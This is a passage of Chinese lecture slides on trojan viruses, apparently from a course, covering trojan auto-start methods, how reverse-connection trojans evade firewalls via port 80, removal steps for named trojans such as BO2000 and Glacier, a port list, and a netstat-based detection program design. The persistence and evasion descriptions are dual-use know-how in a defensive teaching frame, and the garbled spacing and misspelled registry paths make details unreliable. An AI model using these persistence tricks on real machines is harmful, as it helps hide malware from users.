44、orun.inf autorun open=Notepad.exe 4.通 過(guò) 注 冊(cè) 表 中 的 Run來(lái) 啟 動(dòng) 5.通 過(guò) 文 件 關(guān) 聯(lián) 啟 動(dòng) 6.通 過(guò) API HOOK啟 動(dòng) 利 用 經(jīng) 常 使 用 的 API啟 動(dòng) 木 馬 7.通 過(guò) VXD啟 動(dòng) 寫 成 Vxd并 寫 入 HKEY_ LOCAL_MACHINESystemCurrentControlSetServicesVxD 8.通 過(guò) 瀏 覽 網(wǎng) 頁(yè) 啟 動(dòng) 利 用 MIME的 漏 洞 。 9.利 用 Java applet 10.利 用 系 統(tǒng) 自 動(dòng) 運(yùn) 行 的 程 序 例 如 , ScanDisk等 程 序 , 在
45、 一 定 情 況 下 , 系 統(tǒng) 會(huì) 自 動(dòng)啟 動(dòng) 它 們 。 全 面 防 治 木 馬 病 毒 1 木 馬 中 毒 現(xiàn) 象 2 發(fā) 現(xiàn) 和 殺 除 木 馬 的 方 法 進(jìn) 程 /內(nèi) 存 模 塊 查 看 器 在 Windows下 查 看 進(jìn) 程 /內(nèi) 存 模 塊 的 方 法 很 多 , 有 PSAPI、 PDH和 ToolHelper API。 http:/ 端 口 掃 描 ( 端 口 進(jìn) 程 關(guān) 聯(lián) 軟 件 ) 關(guān) 聯(lián) 端 口 和 進(jìn) 程 的 軟 件 也 是 重 要 的 工 具 之 一 , 雖 然 DLL木 馬 隱 藏 在 其 他 進(jìn) 程 中 ,但 是 多 多 少 少 會(huì) 有 一 些 異 常
46、, 功 能 強(qiáng) 大 的 Fport就 是 一 個(gè) 優(yōu) 秀 的 進(jìn) 程 端 口 關(guān) 聯(lián)軟 件 , 可 以 在 以 下 地 址 下 載 到 :http:/ 嗅 探 器 嗅 探 器 幫 助 我 們 發(fā) 現(xiàn) 異 常 的 網(wǎng) 絡(luò) 通 訊 , 從 而 引 起 我 們 的 警 惕 和 關(guān) 注 , 嗅 探 器的 原 理 很 簡(jiǎn) 單 , 通 過(guò) 將 網(wǎng) 卡 設(shè) 為 混 雜 模 式 就 可 以 接 受 所 有 的 IP報(bào) 文 , 嗅 探 程 序可 以 從 中 選 擇 值 得 關(guān) 注 的 部 分 進(jìn) 行 分 析 , 剩 下 的 無(wú) 非 是 按 照 RFC文 檔 對(duì) 協(xié) 議進(jìn) 行 解 碼 。 代 碼 及 頭 文 件
47、: http:/ 譯 后 的 程 序 : http:/ 檢 查 及 保 護(hù) 注 冊(cè) 表 http:/ 查 找 文 件 http:/ 殺 病 毒 軟 件 系 統(tǒng) 文 件 檢 查 器 3 木 馬 的 預(yù) 防 措 施1. 永 遠(yuǎn) 不 要 執(zhí) 行 任 何 來(lái) 歷 不 明 的 軟 件 或 程 序2. 永 遠(yuǎn) 不 要 相 信 你 的 郵 箱 不 會(huì) 收 到 垃 圾 和 病 毒3. 永 遠(yuǎn) 不 要 因 為 對(duì) 方 是 你 的 好 朋 友 就 輕 易 執(zhí) 行他 發(fā) 過(guò) 來(lái) 的 軟 件 或 程 序 。4. 千 萬(wàn) 不 要 隨 便 留 下 你 的 個(gè) 人 資 料 。5. 千 萬(wàn) 不 要 輕 易 相 信 網(wǎng) 絡(luò) 上
48、 認(rèn) 識(shí) 的 新 朋 友 。6. 永 遠(yuǎn) 不 要 隨 便 說(shuō) 別 人 的 壞 話 , 防 止 別 人 用 木馬 報(bào) 復(fù) 你 。 幾 種 常 見(jiàn) 木 馬 病 毒 的 殺 除 方 法 一 、 BO2000 查 看 注 冊(cè) 表HEKY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicse 中 是否 存 在 Umgr32.exe的 鍵 值 。 有 則 將 其 刪 除 。 重新 啟 動(dòng) 電 腦 , 并 將 WindowsSystem中 的Umgr32.exe刪 除 。 二 、 NetSpy( 網(wǎng) 絡(luò) 精 靈 ) 國(guó) 產(chǎn) 木 馬 ,
49、默 認(rèn) 連 接 端 口 為 7306。 在 該 版 本 中 新 添 加 了 注 冊(cè) 表 編輯 功 能 和 瀏 覽 器 監(jiān) 控 功 能 , 客 戶 端 現(xiàn) 在 可 以 不 用 NetMonitor, 通 過(guò) IE或 Navigate就 可 以 進(jìn) 行 遠(yuǎn) 程 監(jiān) 控 了 。 其 強(qiáng) 大 之 處 絲 毫 不 遜 色 于 冰 河 和BO2000! 服 務(wù) 端 程 序 被 執(zhí) 行 后 , 會(huì) 在 C:Windowssystem目 錄 下 生成 netspy.exe文 件 。 同 時(shí) 在 注 冊(cè) 表HKEY_LOCAL_MACHINEsoftwaremicrosoftwindowsCurrentVers
50、ionRun 下 建 立 鍵 值 C:windowssystemnetspy.exe, 用 于 在 系 統(tǒng) 啟動(dòng) 時(shí) 自 動(dòng) 加 載 運(yùn) 行 。 清 除 方 法 : 1.進(jìn) 入 dos, 在 C:windowssystem目 錄 下 輸 入 以 下 命 令 : del netspy.exe 回 車 ; 2.進(jìn) 入 注 冊(cè) 表HKEY_LOCAL_MACHINESoftwaremicrosoftwindowsCurrentVersionRun, 刪 除 Netspy.exe和 Spynotify.exe的 鍵 值 即 可 安 全 清 除Netspy。 三 、 Happy99 此 程 序 運(yùn) 行
51、時(shí) , 會(huì) 在 打 開 一 個(gè) 名 為 “ Happy new year 1999”的 窗 口 , 并 出 現(xiàn) 美 麗 的 煙 花 , 它 會(huì) 復(fù) 制 到 Windows主 文 件 夾 的 System目 錄 下 并 更 名 為 Ska.exe, 同 時(shí) 創(chuàng) 建 文件 Ska.dll, 修 改 Wsock32.dll, 將 修 改 前 的 文 件 備 份 為Wsock32.ska, 并 修 改 注 冊(cè) 表 。 另 外 , 用 戶 可 以 檢 查 注 冊(cè)HEKY_LOCAL_MACHINESoftwreMicrosoftWindowsCurrentVersionRunOnce 中 有 無(wú) 鍵 值
52、 Ska.exe。 有 則 將 其刪 除 , 并 刪 除 WindowsSystem中 的 Ska.exe和 Ska.dll兩個(gè) 文 件 , 將 Wsock32.ska更 名 為 Wscok32.dll。 四 、 冰 河 冰 河 標(biāo) 準(zhǔn) 版 的 服 務(wù) 器 端 程 序 為 G-server.exe, 客 戶 端 程 序 為 G-client.exe,默 認(rèn) 連 接 端 口 為 7626。 一 旦 運(yùn) 行 G-server, 那 么 該 程 序 就 會(huì) 在C:Windowssystem目 錄 下 生 成 Kernel32.exe和 sysexplr.exe并 刪 除 自 身 。Kernel32.
53、exe在 系 統(tǒng) 啟 動(dòng) 時(shí) 自 動(dòng) 加 載 運(yùn) 行 , sysexplr.exe和 TXT文 件 關(guān) 聯(lián) 。 即使 你 刪 除 了 Kernel32.exe, 但 只 要 你 打 開 TXT文 件 , sysexplr.exe就 會(huì) 被 激 活 ,它 將 再 次 生 成 Kernel32.exe, 于 是 冰 河 又 回 來(lái) 了 ! 這 就 是 冰 河 屢 刪 不 止 的 原因 。 清 除 方 法 : 用 純 DOS啟 動(dòng) 進(jìn) 入 系 統(tǒng) ( 以 防 木 馬 的 自 動(dòng) 恢 復(fù) ) , 刪 除 你 安 裝 的windows下 的 systemkernel32.exe和 systemsysex
54、plr.exe兩 個(gè) 木 馬 文 件 , 注意 如 果 系 統(tǒng) 提 示 你 不 能 刪 除 它 們 , 則 因 為 木 馬 程 序 自 動(dòng) 設(shè) 置 了 這 兩 個(gè) 文 件 的屬 性 , 我 們 只 需 要 先 改 掉 它 們 的 隱 藏 、 只 讀 屬 性 , 就 可 以 刪 除 。 刪 除 后 , 進(jìn) 入 windows系 統(tǒng) 進(jìn) 入 注 冊(cè) 表 中 , 找 到HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun和HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionR
55、un Services兩 項(xiàng) , 然 后 查 找 kernel32.exe和 sysexplr.exe兩 個(gè) 鍵 值 并 刪 除 。 再 找 到HKEY_CLASSES_ROOTtxtfileopencommand, 看 在 鍵 值 中 是 不 是 已 改 為“ sysexplr.exe%1”, 如 是 改 回 “ notepad.exe %1”。 五 、 Nethief(網(wǎng) 絡(luò) 神 偷 ) 這 是 反 彈 端 口 型 木 馬 的 典 型 代 表 。 大 多 數(shù) 的 防 火 墻 對(duì) 于 由 外 面 連 入 本 機(jī) 的 連 接往 往 會(huì) 進(jìn) 行 非 常 嚴(yán) 格 的 過(guò) 濾 , 但 是 對(duì) 于 由
56、 本 機(jī) 連 出 的 連 接 卻 疏 于 防 范 ( 當(dāng) 然 也 有 的 防火 墻 兩 方 面 都 很 嚴(yán) 格 ) 。 于 是 , 與 一 般 的 木 馬 相 反 , 反 彈 端 口 型 木 馬 的 服 務(wù) 端 (被 控 制端 )使 用 主 動(dòng) 端 口 , 客 戶 端 (控 制 端 )使 用 被 動(dòng) 端 口 , 當(dāng) 要 建 立 連 接 時(shí) , 由 客 戶 端 通 過(guò) FTP主 頁(yè) 空 間 告 訴 服 務(wù) 端 : “ 現(xiàn) 在 開 始 連 接 我 吧 ! ” , 并 進(jìn) 入 監(jiān) 聽(tīng) 狀 態(tài) , 服 務(wù) 端 收 到 通 知后 , 就 會(huì) 開 始 連 接 客 戶 端 。 為 了 隱 蔽 起 見(jiàn) , 客
57、 戶 端 的 監(jiān) 聽(tīng) 端 口 一 般 開 在 80, 這 樣 , 即使 用 戶 使 用 端 口 掃 描 軟 件 檢 查 自 己 的 端 口 , 發(fā) 現(xiàn) 的 也 是 類 似 “ TCP服 務(wù) 端 的 IP地址 :1026 客 戶 端 的 IP地 址 :80 ESTABLISHED”的 情 況 , 稍 微 疏 忽 一 點(diǎn) 你 就 會(huì) 以 為 是 自己 在 瀏 覽 網(wǎng) 頁(yè) 。 防 火 墻 也 會(huì) 如 此 認(rèn) 為 , 大 概 沒(méi) 有 哪 個(gè) 防 火 墻 會(huì) 不 給 用 戶 向 外 連 接 80端口 吧 。 清 除 方 法 : 1.網(wǎng) 絡(luò) 神 偷 會(huì) 在 注 冊(cè) 表HKEY_LOCAL_MACHINES
58、OFTWAREMicrosoftWindowsCurrentVersionRun 下 建 立 鍵 值 “ internet”, 其 值 為internet.exe /s, 將 鍵 值 刪 除 ; 2.刪 除 其 自 啟 動(dòng) 程 序C:WINDOWSSYSTEMINTERNET.EXE。 已 知 木 馬 病 毒 的 端 口 列 表木 馬 名 稱 端 口 木 馬 名 稱 端 口BO jammerkillahV 121 Remote Grab 7000NukeNabber 139 NetMonitor 7300Hackers Paradise 456 NetMonitor 1.x 7301Steal
59、th Spy 555 NetMonitor 2.x 7306Phase0 555 NetMonitor 3.x 7307NeTadmin 555 NetMonitor 4.x 7308Satanz Backdoor 666 Qaz 7597Attack FTP 666 ICQKiller 7789 AIMSpy 777 InCommand 9400 木 馬 檢 測(cè) 及 清 除 實(shí) 驗(yàn) 示 例 程 序 利 用 開 放 主 機(jī) 端 口 號(hào) 和 各 個(gè) 木 馬程 序 使 用 端 口 的 對(duì) 應(yīng) 關(guān) 系 , 判 斷 主 機(jī) 是 否已 中 木 馬 , 中 了 何 種 木 馬 ( 目 前 能 查 找 一百
60、 余 種 ) , 并 能 根 據(jù) 所 中 木 馬 的 類 型 , 對(duì)其 中 的 二 十 幾 種 進(jìn) 行 殺 滅 。 此 外 , 用 戶 可自 行 追 加 數(shù) 據(jù) 庫(kù) , 增 加 能 查 找 病 毒 的 種 類 。 開 始 讀 取 保 存 開 放 端 口 文 件 , 判 斷 中 何木 馬 是 否 能 打 開 木 馬 數(shù)據(jù) 庫(kù) 文 件No Yes 結(jié) 束 調(diào) 用 netstat獲 得 開 放 的 端 口 , 結(jié) 果保 存 到 文 件 此 木 馬 能 否 被 殺 滅調(diào) 用 函 數(shù) 殺 除 木 馬Yes No 關(guān) 鍵 數(shù) 據(jù) 結(jié) 構(gòu)本 程 序 的 數(shù) 據(jù) 文 件 Trojan.txt使 用 了 TRO
61、JAN結(jié) 構(gòu) 來(lái) 保 存 木 馬 的 名 稱 , 對(duì)應(yīng) 打 開 端 口 號(hào) 和 查 殺 代 碼字 段 名 稱 字 段 類型 字 段 說(shuō) 明nPort 數(shù) 字 該 木 馬 所 使 用 的 端 口 號(hào) 。TroName 字 符 串 該 木 馬 的 名 稱 。 nKillno 數(shù) 字 該 木 馬 的 查 殺 號(hào) , 殺 除 函 數(shù) 調(diào) 用 。pnext 指 針 用 于 構(gòu) 成 鏈 表 結(jié) 構(gòu) 指 針木 馬 名 稱 木 馬 使 用 特 征 端 口 號(hào) 查 殺 號(hào)在 Trojan.txt中 , 每 行 為 一 個(gè) 木 馬 項(xiàng) , 格 式 為 使 用 系 統(tǒng) 調(diào) 用 查 看 有 那 些 端 口 開 放 :
62、 netstat -a c:log.txt 返 回 格 式 Proto Local Address Foreign Address State TCP truewar:epmap 0.0.0.0:0 LISTENING TCP truewar:1025 0.0.0.0:0 LISTENING TCP truewar:1028 0.0.0.0:0 LISTENING TCP truewar:5000 0.0.0.0:0 LISTENING UDP truewar:isakmp *:* UDP truewar:1900 *:* 該 方 法 存 在 問(wèn) 題 : 無(wú) 法 應(yīng) 對(duì) 隱 藏 端 口 消 除
63、 木 馬 進(jìn) 程 的 步 驟 第 一 步 : 提 升 權(quán) 限 提 升 本 程 序 權(quán) 限 得 目 的 是 , 使 其 能 夠 殺 除 木 馬進(jìn) 程 , 主 要 是 通 過(guò) AdjustTokenPrivileges函 數(shù)來(lái) 完 成 。BOOL AdjustTokenPrivileges( HANDLE TokenHandle, /用 于 修 改 權(quán) 限 的 句 炳 BOOL DisableAllPrivileges, /修 改 方 式 PTOKEN_PRIVILEGES NewState, /修 改 后 的 值 DWORD BufferLength, /修 改 值 的 長(zhǎng) 度 PTOKEN_P
64、RIVILEGES PreviousState, /修 改 前 狀 態(tài) PDWORD ReturnLength /返 回 長(zhǎng) 度); 第 二 步 : 枚 舉 進(jìn) 程 , 獲 得 木 馬 進(jìn) 程 的 進(jìn) 程號(hào) 碼 。 首 先 通 過(guò) EnumProcesses函 數(shù) 來(lái) 枚 舉 系 統(tǒng) 中 所有 運(yùn) 行 的 進(jìn) 程 。 當(dāng) 獲 得 所 有 進(jìn) 程 的 進(jìn) 程 號(hào) 以 后 , 枚 舉 每 一 個(gè) 進(jìn)程 所 包 含 的 模 塊 , 這 里 使 用EnumProcessModules函 數(shù) : 通 過(guò) 返 回 的 模 塊 信 息 , 我 們 可 以 利 用GetModuleFileNameEx來(lái) 取
65、得 此 模 塊 調(diào) 用 文 件的 文 件 名 。 第 三 步 : 終 止 木 馬 進(jìn) 程 。 如 果 取 得 文 件 名和 木 馬 的 名 稱 一 樣 , 則 調(diào) 用TerminateProcess函 數(shù) 終 止 木 馬 進(jìn) 程 。 第 四 步 : 清 除 木 馬 文 件 。 在 終 止 木 馬 的 進(jìn)程 以 后 , 就 可 以 刪 除 木 馬 文 件 , 刪 除 注 冊(cè)表 項(xiàng) 和 刪 除 文 件 中 的 自 啟 動(dòng) 項(xiàng) 的 操 作 了 ,其 中 涉 及 到 幾 個(gè) 注 冊(cè) 表 操 作 函 數(shù) 。 RegOpenKeyEx: 用 來(lái) 打 開 注 冊(cè) 表 項(xiàng) RegQueryValueEx: 用 來(lái) 查 詢 特 定 注 冊(cè) 表 項(xiàng) 中 的 鍵值 RegDeleteValue: 當(dāng) 我 們 查 找 到 的 鍵 名 和 其 含 有 的鍵 值 與 木 馬 添 加 的 內(nèi) 容 一 致 時(shí) , 就 可 以 調(diào) 用 該 函 數(shù)刪 除 此 鍵 對(duì) 于 木 馬 文 件 , 調(diào) 用 DeleteFile函 數(shù) 來(lái) 刪 除 。 代 碼 ( VC) 及 程 序 演 示 論 文 題 目 :“ 淺 談 XX病 毒 及 其 防 治 技 術(shù) ”論 文 必 須 在 5月 11日 交
- 溫馨提示:
1: 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
2: 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
3.本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
5. 裝配圖網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 6.煤礦安全生產(chǎn)科普知識(shí)競(jìng)賽題含答案
- 2.煤礦爆破工技能鑒定試題含答案
- 3.爆破工培訓(xùn)考試試題含答案
- 2.煤礦安全監(jiān)察人員模擬考試題庫(kù)試卷含答案
- 3.金屬非金屬礦山安全管理人員(地下礦山)安全生產(chǎn)模擬考試題庫(kù)試卷含答案
- 4.煤礦特種作業(yè)人員井下電鉗工模擬考試題庫(kù)試卷含答案
- 1 煤礦安全生產(chǎn)及管理知識(shí)測(cè)試題庫(kù)及答案
- 2 各種煤礦安全考試試題含答案
- 1 煤礦安全檢查考試題
- 1 井下放炮員練習(xí)題含答案
- 2煤礦安全監(jiān)測(cè)工種技術(shù)比武題庫(kù)含解析
- 1 礦山應(yīng)急救援安全知識(shí)競(jìng)賽試題
- 1 礦井泵工考試練習(xí)題含答案
- 2煤礦爆破工考試復(fù)習(xí)題含答案
- 1 各種煤礦安全考試試題含答案